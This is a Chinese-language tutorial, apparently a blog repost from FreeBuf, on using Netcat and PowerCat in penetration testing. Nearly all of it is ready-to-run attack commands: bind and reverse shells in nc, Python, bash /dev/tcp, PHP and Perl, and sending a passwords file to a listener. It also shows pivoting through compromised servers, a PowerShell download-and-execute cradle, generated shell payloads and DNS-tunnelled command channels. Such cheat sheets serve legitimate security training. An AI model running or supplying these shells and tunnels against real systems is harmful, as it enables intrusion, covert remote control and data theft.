Netcat、PowerCat用法详解


简易使用

Banner抓取

Banner抓取是一种在开放端口上检索关于特定服务信息的技术,在渗透测试中用于漏洞的评估 执行以下命令,可以得知目标主机端口运行的服务

nc -nv <Your IP> <Port>

远程连接主机

nc -nvv <Your IP> <Port>

端口扫描

扫描指定端口

nc -v <Your IP> <Port>

扫描指定端口段(速度较慢)

nc -v -z <Your IP> <Port>-<Port>

端口监听

监听本地端口,访问时输出到命令行

nc -l -p 9999

文件传输

在本地服务器生成一个1.txt文件并监听

nc -lp 333 >1.txt

在目标主机与服务器333端口建立连接,传输一个password文件

nc -vn 192.168.200.6 333 < passwords.txt -q 1  

简易聊天

本地服务器监听

nc -l -p 9999

目标主机输入

nc -nv 192.168.200.6 9999 

获取SHELL

正向shell(客户端获取服务器shell)

控制端主动发起连接去连接被控制端。 目标主机输入命令监听目标主机9999端口

nc -lvp 9999 -e /bin/sh     //Lunix
nc -lvp 9999 -e c:\windows\system32\cmd.exe   //Windows

输入命令在本地或者服务器上连接目标主机的9999端口

nc 192.168.200.6 9999

反向shell(服务器获取客户端shell)

被控制端主动连接控制端。 输入命令在本地或者服务器上监听9999端口

nc -lvp 9999

目标主机输入命令连接服务器9999端口

nc 192.168.200.6 9999 -e /bin/sh    //Linux
nc 192.168.200.6 9999 -e c:\windows\system32\cmd.exe    //Windows

在目标主机中没有nc时获取反向shell

一般情况目标主机中是没有nc的,可以使用其他工具和编程语言代替nc,实现反向连接 Python反向Shell

在服务器监听本地9999端口

nc -lvp 9999

在目标主机执行如下命令

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.6",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

bash反向Shell

在服务器监听本地9999端口

nc -lvp 9999

在目标主机执行如下命令

bash -c 'exec bash -i >& /dev/tcp/192.168.200.6/9999 0>&1'

PHP反向Shell

在服务器监听本地9999端口

nc -lvp 9999

PHP常用在Web服务器上,是nc,perl和Bash很好的替代品

php -r '$sock=fsockopen("192.168.200.6",9999);exec("/bin/sh -i <&3 >&3 2>&3");'

Perl反向Shell

在服务器监听本地9999端口

nc -lvp 9999

如果此时目标主机使用的是Perl语言,仍然可以使用Perl来建立反向Shell 在目标主机运行如下命令

perl -e 'use Socket;$i="192.168.200.6";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">$S");open(STDOUT,">$S");open(STDERR,">&S");exec("/bin/sh -i");};'

内网代理

如图所示,测试环境为:攻击者服务器( Kali Linux);一个小型内网;三台服务器。假设获取了Web服务器的权限,通过 Kali Linux机器不能访问数据库服务器( Linux),但通过web服务器可以访问数据库服务器( Linux)。测试目标为:获取数据库服务器( Linux)的Shell 首先在服务器输入如下命令监听9999端口

nc -lvp 9999

接着在数据库服务器执行如下命令

nc -lvp 9999 -e /bin/sh

最后在Web服务器执行如下命令

nc -v 192.168.1.4 9999  -c "nc -v 1.1.1.200 9999"

PowerCat

PowerCat可以说是nc的PowerShell版本,PowerCat可以通过执行命令回到本地运行,也可以使用远程权限运行powercat(github.com) 导入powercat输入Import-Module .\powercat.ps1  输入“powercat -h”查看命令提示

通过nc正向连接PowerCat

在Windows server 2008服务器上执行监听命令

powercat -l -p 8080 -e cmd.exe -v

然后在kali上执行

netcat 192.168.200.6 8080 -vv

通过nc反向连接PowerCat

在kali上监听

nc -l -p 9999 -vv

在Windows server 2008执行,-c参数用于提供想要连接的IP地址 

powercat -c 192.168.200.6 -p 9999 -v -e cmd.exe

通过PowerCat返回PowerShell

前面的操作都是可以与nc进行交互。但是,如果想返回PowerShell,则无法与nc进行交互。下面介绍如何让Windows7和Windows server 2008建立正向连接 在Win7执行下载命令

IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.1/powercat.ps1')

再执行监听命令

powercat -l -p 9999 -v 

在Win server 2008执行如下命令 -ep用于返回PowerShell

powercat -c 192.168.1.3 -p 9999 -v -ep

通过PowerCat传输文件

在win2008新建一个test.txt文件放在c盘根目录下,在win7执行命令

powercat -l -p 9999 -of test.txt -v

回到win2008中执行命令

powercat -c 192.168.1.3 -p 9999 -i c:\test.txt -v

通过PowerCat生成Payload

用PowerCat生成的Payload也有正向和反向之分,且可以对其进行编码 在win2008执行命令生成一个简单的payload

powercat -l -p 8000 -e cmd -v -g >> shell.ps1

将生成的ps1文件上传到win7并执行,然后在win2008上执行如下命令反弹shell

powercat -c 192.168.1.3 -p 8000 -v

如果想要反弹PowerShell,win2008执行命令

powercat -l -p 8000 -ep -v -g >> shell.ps1

将生成的ps1文件上传到win7并执行,然后在win2008上执行如下命令反弹Powershell

powercat -c 192.168.1.3 -p 8000 -v

PowerCat DNS隧道通信

PowerCat是一套基于DNS通信的协议,基于dnscat设计的 使用dnscat,依次执行

git clone https://github.com/iagox86/dnscat2 
cd dnscat2/server/
gem install bundler
bundle install

在安装了dnscat的Linux主机上运行

ruby dnscat2.rb ttpowercat.test -e open --no-cache

返回win2008执行命令

powercat -c 192.168.200.6 -p 53 -dns ttpowercat.test -e cmd.exe

将PowerCat作为跳板

测试环境为:三台主机,其中 Windows Server2008主机可以通过ping命令访问 Windows7主机和 Kali Linux主机, Kali Linux主机和 Windows7主机之间无法通过网络连接。测试目标为:将 Windows Server2008主机作为跳板,让 Kali Linux主机连接Windows7主机。 首先,在 Windows7中执行如下命令。

powercat -l -v -p 9999 -e cmd.exe

Windows Server2008中执行如下命令。 

powercat -l -v -p 8000 -r tcp:192.168.1.3:9999

最后,让 Kali Linux主机与 Windows Server2008主机进行连接,Windows Server2008主机就可以将流量转发给Windows7了

nc 192.168.200.24 8000 -vv

本文转载自FreeBuf 作者:lryfish 侵删

声明:空指针的小站|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - Netcat、PowerCat用法详解


Debug the world